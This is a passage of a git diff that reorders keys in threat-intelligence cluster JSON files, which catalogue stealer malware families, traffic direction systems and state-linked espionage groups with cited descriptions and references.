+ "value": "Digital infrastructure"
+ },
+ {
+ "uuid": "0904672b-c18a-450e-88d6-6a94dd0eb25a",
+ "value": "Security actors"
+ },
+ {
+ "uuid": "7e1ec8ba-24c4-4ad4-a596-7532ecbd0fbd",
+ "value": "eCommerce"
+ },
+ {
+ "uuid": "c529331a-e2a9-4ba9-bb92-d4f88ae3704b",
+ "value": "Islamic forums"
+ },
+ {
+ "uuid": "ea95dce2-c2fc-48cb-95c7-d9200811f030",
+ "value": "Journalist"
+ },
+ {
+ "uuid": "2287c024-9643-43ef-8776-858d3994b9ac",
+ "value": "Streaming service"
+ },
+ {
+ "uuid": "97e018e8-e03b-48ff-8add-1059f035069a",
+ "value": "Puplishing industry"
+ },
+ {
+ "uuid": "867cbcb3-8baa-476f-bec5-ceb36e9b1e09",
+ "value": "Publishing industry"
+ },
+ {
+ "uuid": "3929f589-ac94-4a6a-8360-122e06484db8",
+ "value": "Islamic organisation"
+ },
+ {
+ "uuid": "2e7ad54f-7637-4268-a9b9-cb2975d6bab9",
+ "value": "Casino"
+ },
+ {
+ "uuid": "87ad7866-bdfa-4a22-a4f3-c411fecb1d0d",
+ "value": "Consulting"
+ },
+ {
+ "uuid": "737a196b-7bab-460b-b199-d6626fca1af1",
+ "value": "Online marketplace"
+ },
+ {
+ "uuid": "e48c0afc-afab-4ced-9a8b-a28d4a2efa08",
+ "value": "DNS service provider"
+ },
+ {
+ "uuid": "4bc73e7c-d174-4faf-9176-d0ccc8ccfbbf",
+ "value": "Veterinary"
+ },
+ {
+ "uuid": "ee5720bb-c638-46f8-bdf2-55579bf37eb2",
+ "value": "Marketing"
+ },
+ {
+ "uuid": "55d12d41-c558-4cdf-b2c5-f246403ca68f",
+ "value": "Video Sharing"
+ },
+ {
+ "uuid": "b018010e-272e-4ca9-8551-073618d7f2ad",
+ "value": "Advertising"
+ },
+ {
+ "uuid": "40d66f31-36c2-42ff-97c6-97b34b5ce04e",
+ "value": "Investment"
+ },
+ {
+ "uuid": "6edffd60-443c-4238-b368-362b47340d8b",
+ "value": "Accounting"
+ },
+ {
+ "uuid": "855f40e1-074e-4818-8082-696a54adf13f",
+ "value": "Programming"
+ },
+ {
+ "uuid": "f9260307-f792-4e60-8aa5-e2b4f84adadb",
+ "value": "Managed Services Provider"
+ },
+ {
+ "uuid": "56eee132-fc01-410c-ada0-44d713443bf2",
+ "value": "Lawyers"
+ },
+ {
+ "uuid": "9c1f6a5b-d9de-4cce-a024-7437cb20e24e",
+ "value": "Civil society"
+ },
+ {
+ "uuid": "1f1c762b-1e39-4989-8679-cc1f9cb08349",
+ "value": "Petrochemical"
+ },
+ {
+ "uuid": "bfd171a5-33f5-4c79-81c5-3dda99dae559",
+ "value": "Immigration"
+ }
+ ],
+ "version": 1
}
diff --git a/clusters/stealer.json b/clusters/stealer.json
index 23cedca..fa1be5f 100644
--- a/clusters/stealer.json
+++ b/clusters/stealer.json
@@ -1,32 +1,37 @@
{
- "uuid": "f2ef4033-9001-4427-a418-df8c48e6d054",
+ "authors": [
+ "raw-data"
+ ],
+ "description": "A list of malware stealer.",
"name": "Stealer",
"source": "Open Sources",
- "version": 2,
+ "type": "stealer",
+ "uuid": "f2ef4033-9001-4427-a418-df8c48e6d054",
"values": [
{
+ "description": "It is designed to steal data found within multiple Chromium and Firefox based browsers, it can also steal many popular cryptocurrency wallets as well as any saved FTP passwords within FileZilla. Nocturnal Stealer uses several anti-VM and anti-analysis techniques, which include but are not limited to: environment fingerprinting, checking for debuggers and analyzers, searching for known virtual machine registry keys, and checking for emulation software.",
"meta": {
"date": "March 2018.",
"refs": [
"https://www.proofpoint.com/us/threat-insight/post/thief-night-new-nocturnal-stealer-grabs-data-cheap"
]
},
- "description": "It is designed to steal data found within multiple Chromium and Firefox based browsers, it can also steal many popular cryptocurrency wallets as well as any saved FTP passwords within FileZilla. Nocturnal Stealer uses several anti-VM and anti-analysis techniques, which include but are not limited to: environment fingerprinting, checking for debuggers and analyzers, searching for known virtual machine registry keys, and checking for emulation software.",
- "value": "Nocturnal Stealer",
- "uuid": "e7080bce-99b5-4615-a798-a192ed89bd5a"
+ "uuid": "e7080bce-99b5-4615-a798-a192ed89bd5a",
+ "value": "Nocturnal Stealer"
},
{
+ "description": "The first version stole browser credentials and cookies, along with all text files it can find on the system. The second variant added the ability to collect Telegram's desktop cache and key files, as well as login information for the video game storefront Steam.",
"meta": {
"date": "March 2018.",
"refs": [
"https://blog.talosintelligence.com/2018/05/telegrab.html"
]
},
- "description": "The first version stole browser credentials and cookies, along with all text files it can find on the system. The second variant added the ability to collect Telegram's desktop cache and key files, as well as login information for the video game storefront Steam.",
- "value": "TeleGrab",
- "uuid": "a6780288-24eb-4006-9ddd-062870c6feec"
+ "uuid": "a6780288-24eb-4006-9ddd-062870c6feec",
+ "value": "TeleGrab"
},
{
+ "description": "It is able to steal accounts from different software, such as, Firefox password Internet Explorer/Edge Thunderbird Chrome/Chromium and many more. It is also able to (1) list all installed software, (2) list processes, (3) Get information about the machine name (CPU type, Graphic card, size of memory), (4) take screen captures, (5) Steal cryptomoney wallet from Electrum, MultiBit, monero-project, bitcoin-qt.",
"meta": {
"date": "July 2018.",
"refs": [
@@ -35,14 +40,9 @@
"https://malware.lu/articles/2018/05/04/azorult-stealer.html"
]
},
- "description": "It is able to steal accounts from different software, such as, Firefox password Internet Explorer/Edge Thunderbird Chrome/Chromium and many more. It is also able to (1) list all installed software, (2) list processes, (3) Get information about the machine name (CPU type, Graphic card, size of memory), (4) take screen captures, (5) Steal cryptomoney wallet from Electrum, MultiBit, monero-project, bitcoin-qt.",
- "value": "AZORult",
- "uuid": "a646edab-5c6f-4a79-8a6c-153535259e16"
+ "uuid": "a646edab-5c6f-4a79-8a6c-153535259e16",
+ "value": "AZORult"
}
],
- "authors": [
- "raw-data"
- ],
- "type": "stealer",
- "description": "A list of malware stealer."
+ "version": 2
}
diff --git a/clusters/tds.json b/clusters/tds.json
index aa61de8..ec09cf0 100644
--- a/clusters/tds.json
+++ b/clusters/tds.json
@@ -1,7 +1,14 @@
{
+ "authors": [
+ "Kafeine"
+ ],
+ "description": "TDS is a list of Traffic Direction System used by adversaries",
+ "name": "TDS",
+ "source": "MISP Project",
+ "type": "tds",
+ "uuid": "ab5fffaa-c5f6-11e6-9d9d-cec0c932ce01",
"values": [
{
- "value": "Keitaro",
"description": "Keitaro TDS is among the mostly used TDS in drive by infection chains",
"meta": {
"refs": [
@@ -11,10 +18,10 @@
"Commercial"
]
},
- "uuid": "94c57fc0-4477-4643-b539-55ba8c455df6"
+ "uuid": "94c57fc0-4477-4643-b539-55ba8c455df6",
+ "value": "Keitaro"
},
{
- "value": "BlackTDS",
"description": "BlackTDS is mutualised TDS advertised underground since end of December 2017",
"meta": {
"refs": [
@@ -24,20 +31,20 @@
"Underground"
]
},
- "uuid": "d5c0cf8d-8ed0-4fa2-a2e6-7274516ea1c8"
+ "uuid": "d5c0cf8d-8ed0-4fa2-a2e6-7274516ea1c8",
+ "value": "BlackTDS"
},
{
- "value": "ShadowTDS",
"description": "ShadowTDS is advertised underground since 2016-02. It's in fact more like a Social Engineering kit focused on Android and embedding a TDS",
"meta": {
"type": [
"Underground"
]
},
- "uuid": "2680a4b1-84d1-4af0-8126-4429a90f8ef8"
+ "uuid": "2680a4b1-84d1-4af0-8126-4429a90f8ef8",
+ "value": "ShadowTDS"
},
{
- "value": "Sutra",
"description": "Sutra TDS was dominant from 2012 till 2015",
"meta": {
"refs": [
@@ -47,10 +54,10 @@
"Commercial"
]
},
- "uuid": "67f21003-bbc8-4993-b615-f990e539929f"
+ "uuid": "67f21003-bbc8-4993-b615-f990e539929f",
+ "value": "Sutra"
},
{
- "value": "SimpleTDS",
"description": "SimpleTDS is a basic open source TDS",
"meta": {
"refs": [
@@ -63,10 +70,10 @@
"OpenSource"
]
},
- "uuid": "aa179c37-1a8a-4761-841a-cc940e19d7be"
+ "uuid": "aa179c37-1a8a-4761-841a-cc940e19d7be",
+ "value": "SimpleTDS"
},
{
- "value": "BossTDS",
"description": "BossTDS",
"meta": {
"refs": [
@@ -76,10 +83,10 @@
"Commercial"
]
},
- "uuid": "5a483b4b-671a-4113-9b99-a115d2d2d644"
+ "uuid": "5a483b4b-671a-4113-9b99-a115d2d2d644",
+ "value": "BossTDS"
},
{
- "value": "BlackHat TDS",
"description": "BlackHat TDS is sold underground.",
"meta": {
"refs": [
@@ -89,36 +96,29 @@
"Underground"
]
},
- "uuid": "36aa3b2d-4927-45e5-be08-f30144fd1909"
+ "uuid": "36aa3b2d-4927-45e5-be08-f30144fd1909",
+ "value": "BlackHat TDS"
},
{
- "value": "Futuristic TDS",
"description": "Futuristic TDS is the TDS component of BlackOS/CookieBomb/NorthTale Iframer",
"meta": {
"type": [
"Underground"
]
},
- "uuid": "19d8eab9-72d5-4f22-affb-c0d6aed66346"
+ "uuid": "19d8eab9-72d5-4f22-affb-c0d6aed66346",
+ "value": "Futuristic TDS"
},
{
- "value": "Orchid TDS",
"description": "Orchid TDS was sold underground. Rare usage",
"meta": {
"type": [
"Underground"
]
},
- "uuid": "ec0048f2-a7b2-4a71-83de-6e8fe4fef252"
+ "uuid": "ec0048f2-a7b2-4a71-83de-6e8fe4fef252",
+ "value": "Orchid TDS"
}
],
- "version": 3,
- "uuid": "ab5fffaa-c5f6-11e6-9d9d-cec0c932ce01",
- "description": "TDS is a list of Traffic Direction System used by adversaries",
- "authors": [
- "Kafeine"
- ],
- "source": "MISP Project",
- "type": "tds",
- "name": "TDS"
+ "version": 3
}
diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json
index 8f904be..9051c30 100644
--- a/clusters/threat-actor.json
+++ b/clusters/threat-actor.json
@@ -1,27 +1,21 @@
{
+ "authors": [
+ "Alexandre Dulaunoy",
+ "Florian Roth",
+ "Thomas Schreck",
+ "Timo Steffens",
+ "Various"
+ ],
+ "description": "Known or estimated adversary groups targeting organizations and employees. Adversary groups are regularly confused with their initial operation or campaign.",
+ "name": "Threat actor",
+ "source": "MISP Project",
+ "type": "threat-actor",
+ "uuid": "7cdff317-a673-4474-84ec-4f1754947823",
"values": [
{
+ "description": "PLA Unit 61398 (Chinese: 61398部队, Pinyin: 61398 bùduì) is the Military Unit Cover Designator (MUCD)[1] of a People's Liberation Army advanced persistent threat unit that has been alleged to be a source of Chinese computer hacking attacks",
"meta": {
- "synonyms": [
- "Comment Panda",
- "PLA Unit 61398",
- "APT 1",
- "APT1",
- "Advanced Persistent Threat 1",
- "Byzantine Candor",
- "Group 3",
- "TG-8223",
- "Comment Group",
- "Brown Fox",
- "GIF89a"
- ],
- "country": "CN",
- "refs": [
- "https://en.wikipedia.org/wiki/PLA_Unit_61398",
- "http://intelreport.mandiant.com/Mandiant_APT1_Report.pdf",
- "https://www.cfr.org/interactive/cyber-operations/pla-unit-61398",
- "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
- ],
+ "cfr-suspected-state-sponsor": "China",
"cfr-suspected-victims": [
"United States",
"Taiwan",
@@ -39,30 +33,47 @@
"Luxembourg",
"Japan"
],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Private sector",
"Government"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
+ "refs": [
+ "https://en.wikipedia.org/wiki/PLA_Unit_61398",
+ "http://intelreport.mandiant.com/Mandiant_APT1_Report.pdf",
+ "https://www.cfr.org/interactive/cyber-operations/pla-unit-61398",
+ "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
+ ],
+ "synonyms": [
+ "Comment Panda",
+ "PLA Unit 61398",
+ "APT 1",
+ "APT1",
+ "Advanced Persistent Threat 1",
+ "Byzantine Candor",
+ "Group 3",
+ "TG-8223",
+ "Comment Group",
+ "Brown Fox",
+ "GIF89a"
]
},
- "description": "PLA Unit 61398 (Chinese: 61398部队, Pinyin: 61398 bùduì) is the Military Unit Cover Designator (MUCD)[1] of a People's Liberation Army advanced persistent threat unit that has been alleged to be a source of Chinese computer hacking attacks",
- "value": "Comment Crew",
- "uuid": "1cb7e1cc-d695-42b1-92f4-fd0112a3c9be"
+ "uuid": "1cb7e1cc-d695-42b1-92f4-fd0112a3c9be",
+ "value": "Comment Crew"
},
{
+ "description": "The group appears to have close ties to the Chinese National University of Defense and Technology, which is possibly linked to the PLA. Stalker Panda has been observed conducting targeted attacks against Japan, Taiwan, Hong Kong, and the United States. The attacks appear to be centered on political, media, and engineering sectors. The group appears to have been active since around 2010 and they maintain and upgrade their tools regularly.",
"meta": {
"country": "CN",
"refs": [
"https://wikileaks.org/vault7/document/2015-08-20150814-256-CSIR-15005-Stalker-Panda/2015-08-20150814-256-CSIR-15005-Stalker-Panda.pdf"
]
},
- "value": "Stalker Panda",
- "description": "The group appears to have close ties to the Chinese National University of Defense and Technology, which is possibly linked to the PLA. Stalker Panda has been observed conducting targeted attacks against Japan, Taiwan, Hong Kong, and the United States. The attacks appear to be centered on political, media, and engineering sectors. The group appears to have been active since around 2010 and they maintain and upgrade their tools regularly.",
- "uuid": "36843742-adf1-427c-a7c0-067d74b4aeaf"
+ "uuid": "36843742-adf1-427c-a7c0-067d74b4aeaf",
+ "value": "Stalker Panda"
},
{
- "value": "Nitro",
"description": "These attackers were the subject of an extensive report by Symantec in 2011, which termed the attackers Nitro and stated: 'The goal of the attackers appears to be to collect intellectual property such as design documents, formulas, and manufacturing processes. In addition, the same attackers appear to have a lengthy operation history including attacks on other industries and organizations. Attacks on the chemical industry are merely their latest attack wave. As part of our investigations, we were also able to identify and contact one of the attackers to try and gain insights into the motivations behind these attacks.' Palo Alto Networks reported on continued activity by the attackers in 2014. ",
"meta": {
"country": "CN",
@@ -73,10 +84,10 @@
"Covert Grove"
]
},
- "uuid": "0b06fb39-ed3d-4868-ac42-12fff6df2c80"
+ "uuid": "0b06fb39-ed3d-4868-ac42-12fff6df2c80",
+ "value": "Nitro"
},
{
- "value": "Codoso",
"description": "The New York Times described Codoso as: 'A collection of hackers for hire that the security industry has been tracking for years. Over the years, the group has breached banks, law firms and tech companies, and once hijacked the Forbes website to try to infect visitors’ computers with malware.'",
"meta": {
"country": "CN",
@@ -93,7 +104,8 @@
"Sunshop Group"
]
},
- "uuid": "103ebfd8-4280-4027-b61a-69bd9967ad6c"
+ "uuid": "103ebfd8-4280-4027-b61a-69bd9967ad6c",
+ "value": "Codoso"
},
{
"meta": {
@@ -101,11 +113,10 @@
"https://www.cylance.com/hubfs/2015_cylance_website/assets/operation-dust-storm/Op_Dust_Storm_Report.pdf"
]
},
- "value": "Dust Storm",
- "uuid": "9e71024e-817f-45b0-92a0-d886c30bc929"
+ "uuid": "9e71024e-817f-45b0-92a0-d886c30bc929",
+ "value": "Dust Storm"
},
{
- "value": "Karma Panda",
"description": "Adversary targeting dissident groups in China and its surroundings.",
"meta": {
"country": "CN",
@@ -113,7 +124,8 @@
"http://www.rsaconference.com/writable/presentations/file_upload/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries_final.pdf"
]
},
- "uuid": "06e659ff-ece8-4e6c-a110-d9692ac6d8ee"
+ "uuid": "06e659ff-ece8-4e6c-a110-d9692ac6d8ee",
+ "value": "Karma Panda"
},
{
"meta": {
@@ -122,8 +134,8 @@
"temp.bottle"
]
},
- "value": "Keyhole Panda",
- "uuid": "ad022538-b457-4839-8ebd-3fdcc807a820"
+ "uuid": "ad022538-b457-4839-8ebd-3fdcc807a820",
+ "value": "Keyhole Panda"
},
{
"meta": {
@@ -132,19 +144,19 @@
"http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf"
]
},
- "value": "Wet Panda",
- "uuid": "ba8973b2-fd97-4aa7-9307-ea4838d96428"
+ "uuid": "ba8973b2-fd97-4aa7-9307-ea4838d96428",
+ "value": "Wet Panda"
},
{
+ "description": "Adversary group targeting telecommunication and technology organizations.",
"meta": {
"country": "CN",
"refs": [
"https://files.sans.org/summit/Threat_Hunting_Incident_Response_Summit_2016/PDFs/Detecting-and-Responding-to-Pandas-and-Bears-Christopher-Scott-CrowdStrike-and-Wendi-Whitmore-IBM.pdf"
]
},
- "value": "Foxy Panda",
- "description": "Adversary group targeting telecommunication and technology organizations.",
- "uuid": "41c15f08-a646-49f7-a644-1bebbf7a4dcd"
+ "uuid": "41c15f08-a646-49f7-a644-1bebbf7a4dcd",
+ "value": "Foxy Panda"
},
{
"meta": {
@@ -153,8 +165,8 @@
"http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf"
]
},
- "value": "Predator Panda",
- "uuid": "1969f622-d64a-4436-9a34-4c47fcb2535f"
+ "uuid": "1969f622-d64a-4436-9a34-4c47fcb2535f",
+ "value": "Predator Panda"
},
{
"meta": {
@@ -163,8 +175,8 @@
"http://files.sans.org/summit/Threat_Hunting_Incident_Response_Summit_2016/PDFs/Detecting-and-Responding-to-Pandas-and-Bears-Christopher-Scott-CrowdStrike-and-Wendi-Whitmore-IBM.pdf"
]
},
- "value": "Union Panda",
- "uuid": "7195b51f-500e-4034-a851-bf34a2728dc8"
+ "uuid": "7195b51f-500e-4034-a851-bf34a2728dc8",
+ "value": "Union Panda"
},
{
"meta": {
@@ -173,8 +185,8 @@
"http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf"
]
},
- "value": "Spicy Panda",
- "uuid": "4959652d-72fa-46e4-be20-4ec686409bfb"
+ "uuid": "4959652d-72fa-46e4-be20-4ec686409bfb",
+ "value": "Spicy Panda"
},
{
"meta": {
@@ -183,8 +195,8 @@
"http://files.sans.org/summit/Threat_Hunting_Incident_Response_Summit_2016/PDFs/Detecting-and-Responding-to-Pandas-and-Bears-Christopher-Scott-CrowdStrike-and-Wendi-Whitmore-IBM.pdf"
]
},
- "value": "Eloquent Panda",
- "uuid": "432b0304-768f-4fb9-9762-e745ef524ec7"
+ "uuid": "432b0304-768f-4fb9-9762-e745ef524ec7",
+ "value": "Eloquent Panda"
},
{
"meta": {
@@ -192,11 +204,26 @@
"LadyBoyle"
]
},
- "value": "Dizzy Panda",
- "uuid": "8a8f39df-74b3-4946-ab64-f84968bababe"
+ "uuid": "8a8f39df-74b3-4946-ab64-f84968bababe",
+ "value": "Dizzy Panda"
},
{
+ "description": "Putter Panda were the subject of an extensive report by CrowdStrike, which stated: 'The CrowdStrike Intelligence team has been tracking this particular unit since2012, under the codename PUTTER PANDA, and has documented activity dating back to 2007. The report identifies Chen Ping, aka cpyy, and the primary location of Unit 61486.'",
"meta": {
+ "cfr-suspected-state-sponsor": "China",
+ "cfr-suspected-victims": [
+ "U.S. satellite and aerospace sector"
+ ],
+ "cfr-target-category": [
+ "Private sector",
+ "Government"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
+ "refs": [
+ "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf",
+ "https://www.cfr.org/interactive/cyber-operations/putter-panda"
+ ],
"synonyms": [
"PLA Unit 61486",
"APT 2",
@@ -206,28 +233,30 @@
"4HCrew",
"SULPHUR",
"TG-6952"
- ],
- "country": "CN",
- "refs": [
- "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf",
- "https://www.cfr.org/interactive/cyber-operations/putter-panda"
- ],
- "cfr-suspected-victims": [
- "U.S. satellite and aerospace sector"
- ],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- "Private sector",
- "Government"
]
},
- "description": "Putter Panda were the subject of an extensive report by CrowdStrike, which stated: 'The CrowdStrike Intelligence team has been tracking this particular unit since2012, under the codename PUTTER PANDA, and has documented activity dating back to 2007. The report identifies Chen Ping, aka cpyy, and the primary location of Unit 61486.'",
- "value": "Putter Panda",
- "uuid": "0ca45163-e223-4167-b1af-f088ed14a93d"
+ "uuid": "0ca45163-e223-4167-b1af-f088ed14a93d",
+ "value": "Putter Panda"
},
{
+ "description": "Symantec described UPS in 2016 report as: 'Buckeye (also known as APT3, Gothic Panda, UPS Team, and TG-0110) is a cyberespionage group that is believed to have been operating for well over half a decade. Traditionally, the group attacked organizations in the US as well as other targets. However, Buckeyes focus appears to have changed as of June 2015, when the group began compromising political entities in Hong Kong.'",
"meta": {
+ "cfr-suspected-state-sponsor": "China",
+ "cfr-suspected-victims": [
+ "United States",
+ "United Kingdom",
+ "Hong Kong"
+ ],
+ "cfr-target-category": [
+ "Private sector"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
+ "refs": [
+ "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html",
+ "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong",
+ "https://www.cfr.org/interactive/cyber-operations/apt-3"
+ ],
"synonyms": [
"Gothic Panda",
"TG-0110",
@@ -237,39 +266,26 @@
"APT3",
"Buckeye",
"Boyusec"
- ],
- "country": "CN",
- "refs": [
- "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html",
- "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong",
- "https://www.cfr.org/interactive/cyber-operations/apt-3"
- ],
- "cfr-suspected-victims": [
- "United States",
- "United Kingdom",
- "Hong Kong"
- ],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- "Private sector"
]
},
- "value": "UPS",
- "description": "Symantec described UPS in 2016 report as: 'Buckeye (also known as APT3, Gothic Panda, UPS Team, and TG-0110) is a cyberespionage group that is believed to have been operating for well over half a decade. Traditionally, the group attacked organizations in the US as well as other targets. However, Buckeyes focus appears to have changed as of June 2015, when the group began compromising political entities in Hong Kong.'",
- "uuid": "d144c83e-2302-4947-9e24-856fbf7949ae"
+ "uuid": "d144c83e-2302-4947-9e24-856fbf7949ae",
+ "value": "UPS"
},
{
+ "description": "Kaspersky described DarkHotel in a 2014 report as: '... DarkHotel drives its campaigns by spear-phishing targets with highly advanced Flash zero-day exploits that effectively evade the latest Windows and Adobe defenses, and yet they also imprecisely spread among large numbers of vague targets with peer-to-peer spreading tactics. Moreover, this crews most unusual characteristic is that for several years the Darkhotel APT has maintained a capability to use hotel networks to follow and hit selected targets as they travel around the world.'",
"meta": {
- "synonyms": [
- "DUBNIUM",
- "Fallout Team",
- "Karba",
- "Luder",
- "Nemim",
- "Tapaoux",
- "Pioneer"
+ "cfr-suspected-state-sponsor": "Korea (Republic of)",
+ "cfr-suspected-victims": [
+ "Japan",
+ "Russia",
+ "Taiwan",
+ "South Korea",
+ "China"
],
+ "cfr-target-category": [
+ "Private sector"
+ ],
+ "cfr-type-of-incident": "Espionage",
"refs": [
"https://securelist.com/blog/research/71713/darkhotels-attacks-in-2015/",
"https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2",
@@ -278,25 +294,37 @@
"https://labs.bitdefender.com/wp-content/uploads/downloads/inexsmar-an-unusual-darkhotel-campaign/",
"https://www.cfr.org/interactive/cyber-operations/darkhotel"
],
- "cfr-suspected-victims": [
- "Japan",
- "Russia",
- "Taiwan",
- "South Korea",
- "China"
- ],
- "cfr-suspected-state-sponsor": "Korea (Republic of)",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- "Private sector"
+ "synonyms": [
+ "DUBNIUM",
+ "Fallout Team",
+ "Karba",
+ "Luder",
+ "Nemim",
+ "Tapaoux",
+ "Pioneer"
]
},
- "value": "DarkHotel",
- "description": "Kaspersky described DarkHotel in a 2014 report as: '... DarkHotel drives its campaigns by spear-phishing targets with highly advanced Flash zero-day exploits that effectively evade the latest Windows and Adobe defenses, and yet they also imprecisely spread among large numbers of vague targets with peer-to-peer spreading tactics. Moreover, this crews most unusual characteristic is that for several years the Darkhotel APT has maintained a capability to use hotel networks to follow and hit selected targets as they travel around the world.'",
- "uuid": "b8c8b96d-61e6-47b1-8e38-fd8ad5d9854d"
+ "uuid": "b8c8b96d-61e6-47b1-8e38-fd8ad5d9854d",
+ "value": "DarkHotel"
},
{
+ "description": "A group of China-based attackers, who conducted a number of spear phishing attacks in 2013.",
"meta": {
+ "cfr-suspected-state-sponsor": "China",
+ "cfr-suspected-victims": [
+ "Taiwan",
+ "Japan"
+ ],
+ "cfr-target-category": [
+ "Private sector",
+ "Government"
+ ],
+ "cfr-type-of-incident": "China",
+ "country": "CN",
+ "refs": [
+ "http://www.crowdstrike.com/blog/whois-numbered-panda/",
+ "https://www.cfr.org/interactive/cyber-operations/apt-12"
+ ],
"synonyms": [
"Numbered Panda",
"TG-2754",
@@ -308,49 +336,50 @@
"Crimson Iron",
"APT12",
"APT 12"
- ],
- "country": "CN",
- "refs": [
- "http://www.crowdstrike.com/blog/whois-numbered-panda/",
- "https://www.cfr.org/interactive/cyber-operations/apt-12"
- ],
- "cfr-suspected-victims": [
- "Taiwan",
- "Japan"
- ],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "China",
- "cfr-target-category": [
- "Private sector",
- "Government"
]
},
- "description": "A group of China-based attackers, who conducted a number of spear phishing attacks in 2013.",
- "value": "IXESHE",
- "uuid": "48146604-6693-4db1-bd94-159744726514"
+ "uuid": "48146604-6693-4db1-bd94-159744726514",
+ "value": "IXESHE"
},
{
"meta": {
- "country": "CN",
- "refs": [
- "https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html",
- "https://www.cfr.org/interactive/cyber-operations/apt-16"
- ],
+ "cfr-suspected-state-sponsor": "China",
"cfr-suspected-victims": [
"Japan",
"Taiwan"
],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Private sector"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
+ "refs": [
+ "https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html",
+ "https://www.cfr.org/interactive/cyber-operations/apt-16"
]
},
- "value": "APT 16",
- "uuid": "1f73e14f-b882-4032-a565-26dc653b0daf"
+ "uuid": "1f73e14f-b882-4032-a565-26dc653b0daf",
+ "value": "APT 16"
},
{
+ "description": "FireEye described APT17 in a 2015 report as: 'APT17, also known as DeputyDog, is a China based threat group that FireEye Intelligence has observed conducting network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations.'",
"meta": {
+ "cfr-suspected-state-sponsor": "China",
+ "cfr-suspected-victims": [
+ "United States"
+ ],
+ "cfr-target-category": [
+ "Government",
+ "Private sector",
+ "Civil society"
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
+ "refs": [
+ "http://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html",
+ "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/hidden_lynx.pdf",
+ "https://www.cfr.org/interactive/cyber-operations/apt-17"
+ ],
"synonyms": [
"APT 17",
"Deputy Dog",
@@ -358,30 +387,29 @@
"APT17",
"Hidden Lynx",
"Tailgater Team"
- ],
- "country": "CN",
- "refs": [
- "http://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html",
- "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/hidden_lynx.pdf",
- "https://www.cfr.org/interactive/cyber-operations/apt-17"
- ],
+ ]
+ },
+ "uuid": "99e30d89-9361-4b73-a999-9e5ff9320bcb",
+ "value": "Aurora Panda"
+ },
+ {
+ "description": "Wekby was described by Palo Alto Networks in a 2015 report as: 'Wekby is a group that has been active for a number of years, targeting various industries such as healthcare, telecommunications, aerospace, defense, and high tech. The group is known to leverage recently released exploits very shortly after those exploits are available, such as in the case of HackingTeams Flash zero - day exploit.'",
+ "meta": {
+ "cfr-suspected-state-sponsor": "China",
"cfr-suspected-victims": [
"United States"
],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
"cfr-target-category": [
"Government",
"Private sector",
"Civil society"
- ]
- },
- "value": "Aurora Panda",
- "description": "FireEye described APT17 in a 2015 report as: 'APT17, also known as DeputyDog, is a China based threat group that FireEye Intelligence has observed conducting network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations.'",
- "uuid": "99e30d89-9361-4b73-a999-9e5ff9320bcb"
- },
- {
- "meta": {
+ ],
+ "cfr-type-of-incident": "Espionage",
+ "country": "CN",
+ "refs": [
+ "https://threatpost.com/apt-gang-branches-out-to-medical-espionage-in-community-health-breach/107828",
+ "https://www.cfr.org/interactive/cyber-operations/apt-18"
+ ],
"synonyms": [
"Dynamite Panda",
"TG-0416",
@@ -389,43 +417,54 @@
"SCANDIUM",
"PLA Navy",
"APT18"
- ],
- "country": "CN",
- "refs": [
- "https://threatpost.com/apt-gang-branches-out-to-medical-espionage-in-community-health-breach/107828",
- "https://www.cfr.org/interactive/cyber-operations/apt-18"
- ],
- "cfr-suspected-victims": [
- "United States"
- ],
- "cfr-suspected-state-sponsor": "China",
- "cfr-type-of-incident": "Espionage",
- "cfr-target-category": [
- "Government",
- "Private sector",
- "Civil society"
]
},
- "value": "Wekby",
- "description": "Wekby was described by Palo Alto Networks in a 2015 report as: 'Wekby is a group that has been active for a number of years, targeting various industries such as healthcare, telecommunications, aerospace, defense, and high tech. The group is known to leverage recently released exploits very shortly after those exploits are available, such as in the case of HackingTeams Flash zero - day exploit.'",
- "uuid": "9a683d9c-8f7d-43df-bba2-ad0ca71e277c"
